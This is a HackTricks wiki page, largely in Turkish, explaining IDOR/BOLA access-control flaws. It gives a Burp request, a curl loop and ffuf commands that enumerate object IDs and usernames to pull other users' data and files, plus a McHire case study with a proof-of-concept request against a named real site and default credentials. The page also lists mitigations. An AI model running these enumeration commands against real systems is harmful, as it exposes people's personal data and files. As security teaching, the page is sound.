IDOR (Insecure Direct Object Reference)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) şu durumda ortaya çıkar: bir web veya API endpoint’i, kullanıcı tarafından kontrol edilebilen bir tanımlayıcıyı ifşa eder veya kabul eder; bu tanımlayıcı, dahili bir objeye doğrudan erişmek için kullanılır ve çağıranın o objeye erişme/değiştirme yetkisi olup olmadığını doğrulamaz. Başarılı istismar genellikle diğer kullanıcıların verilerini okuma veya değiştirme gibi yatay veya dikey ayrıcalık yükseltimine izin verir ve en kötü durumda tam hesap ele geçirme veya toplu veri sızdırma ile sonuçlanabilir.
1. Potansiyel IDOR’ları Belirleme
- Bir nesneye referans veren parametrelere bakın:
- Path:
/api/user/1234,/files/550e8400-e29b-41d4-a716-446655440000 - Query:
?id=42,?invoice=2024-00001 - Body / JSON:
{"user_id": 321, "order_id": 987} - Headers / Cookies:
X-Client-ID: 4711
- Veri okuyan veya güncelleyen endpoint’leri tercih edin (
GET,PUT,PATCH,DELETE). - Tanımlayıcıların sıralı veya öngörülebilir olduğu durumları not edin – eğer sizin ID’niz
64185742ise64185741muhtemelen vardır. - Gizli veya alternatif akışları keşfedin (ör. “Paradox team members” linki gibi) — bunlar ek API’leri açığa çıkarabilir.
- Yetkili fakat düşük ayrıcalıklı bir oturum kullanın ve sadece ID’yi değiştirin aynı token/cookie’yi koruyarak. Bir yetkilendirme hatasının olmaması genellikle IDOR belirtisidir.
Hızlı manuel kurcalama (Burp Repeater)
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
Otomatik enumeration (Burp Intruder / curl loop)
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
Tahmin edilebilir indirme ID’lerini tarama (ffuf)
Kimlik doğrulamalı dosya barındırma panelleri genellikle kullanıcı başına metadata’yı tek bir files tablosunda saklar ve /download.php?id=<int> gibi bir indirme uç noktası sunar. Eğer işleyici sadece ID’nin var olup olmadığına bakıyorsa (ve ID’nin kimlik doğrulamalı kullanıcıya ait olup olmadığına bakmıyorsa), geçerli oturum çerezinizi kullanarak tam sayı alanını tarayabilir ve diğer kiracıların yedeklerini/konfigürasyonlarını çalabilirsiniz:
ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json # fetch surviving IDs such as company backups or signing keys
-fr404-style şablonlarını kaldırır, böylece sadece gerçek tespitler kalır (ör. IDs 54/150 leaking full site backups and signing material).- Aynı FFUF workflow’u Burp Intruder veya bir curl loop ile de çalışır — ID’leri artırırken oturumunuzun açık kaldığından emin olun.
Hata-yanıt oracle for user/file enumeration
When a download endpoint accepts both a username and a filename (e.g. /view.php?username=<u>&file=<f>), subtle differences in error messages often create an oracle:
- Mevcut olmayan username → “User not found”
- Hatalı filename ama geçerli uzantı → “File does not exist” (bazen mevcut dosyaları da listeler)
- Geçersiz uzantı → doğrulama hatası
Herhangi bir authenticated oturumla, zararsız bir filename’i sabit tutup username parametresini fuzz ederek ve “user not found” string’ini filtreleyerek geçerli kullanıcıları keşfedebilirsiniz:
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
Geçerli kullanıcı adları belirlendikten sonra, belirli dosyaları doğrudan isteyin (ör. /view.php?username=amanda&file=privacy.odt). Bu desen genellikle diğer kullanıcıların belgelerinin yetkisiz ifşasına ve kimlik bilgisi sızıntısına yol açar.
2. Gerçek Dünya Vaka Çalışması – McHire Chatbot Platformu (2025)
Paradox.ai tarafından desteklenen McHire işe alım portalının değerlendirilmesi sırasında aşağıdaki IDOR tespit edildi:
- Uç nokta:
PUT /api/lead/cem-xhr - Yetkilendirme: kullanıcı oturum çerezi herhangi bir restoran test hesabı için
- Gövde parametresi:
{"lead_id": N}– 8 haneli, sıralı sayısal tanımlayıcı
lead_id azaltılarak test eden, rastgele başvuru sahiplerinin tam PII (isim, e-posta, telefon, adres, vardiya tercihleri) ile oturum kaçırmaya izin veren bir tüketici JWT’sini elde etti. 1 – 64,185,742 aralığının taranması yaklaşık 64 million kaydı ortaya çıkardı.
Proof-of-Concept request:
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
Combined with default admin credentials (123456:123456) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
3. IDOR / BOLA Etkisi
- Yatay yükselme – diğer kullanıcıların verilerini okuma/güncelleme/silme (other users’).
- Dikey yükselme – düşük ayrıcalıklı bir kullanıcı, yalnızca admin’e ait işlevlere erişim kazanır.
- Tanımlayıcılar ardışık ise kitlesel veri ihlali (örn., başvuru ID’leri, faturalar).
- Diğer kullanıcıların tokenlarını çalarak veya parolalarını sıfırlayarak hesap devralma.
4. Azaltma Yöntemleri & En İyi Uygulamalar
- Her istek için nesne seviyesinde yetkilendirmeyi uygulayın (
user_id == session.user). - Otomatik artan ID’ler yerine dolaylı, tahmin edilemez tanımlayıcıları (UUIDv4, ULID) tercih edin.
- Yetkilendirmeyi sunucu tarafında gerçekleştirin; gizli form alanlarına veya UI kontrollerine asla güvenmeyin.
- Merkezi bir middleware’de RBAC / ABAC kontrollerini uygulayın.
- ID taramasını tespit etmek için rate-limiting & logging ekleyin.
- Her yeni endpoint’i güvenlik testine tabi tutun (unit, integration ve DAST).
5. Tooling
- BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
- OWASP ZAP: Auth Matrix, Forced Browse.
- Github projects:
bwapp-idor-scanner,Blindy(bulk IDOR hunting).
References
- McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII
- OWASP Top 10 – Broken Access Control
- How to Find More IDORs – Vickie Li
- HTB Nocturnal: IDOR oracle → file theft
- 0xdf – HTB Era: predictable download IDs → backups and signing keys
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
HackTricks

